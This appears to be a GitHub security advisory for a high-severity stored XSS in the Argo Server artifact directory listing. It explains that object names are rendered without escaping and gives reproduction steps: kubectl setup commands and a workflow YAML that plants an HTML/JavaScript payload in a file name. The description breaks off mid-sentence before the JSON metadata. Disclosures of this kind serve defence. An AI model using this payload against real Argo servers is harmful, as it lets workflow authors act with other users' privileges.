Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.
The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
kubectl -n argo port-forward deploy/argo-server 2746:2746
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: xss-artifact-test-
spec:
entrypoint: main
templates:
- name: main
container:
image: alpine
command: [sh, -c]
args:
- |
mkdir -p /tmp/artifacts
touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
outputs:
artifacts:
- name: dir
path: /tmp/artifacts
archive:
none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
kubectl -n argo get wf -w
kubectl -n argo get wf <wf-name> \
-o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T22:00:38Z",
"nvd_published_at": "2026-01-21T22:15:50Z",
"severity": "HIGH"
}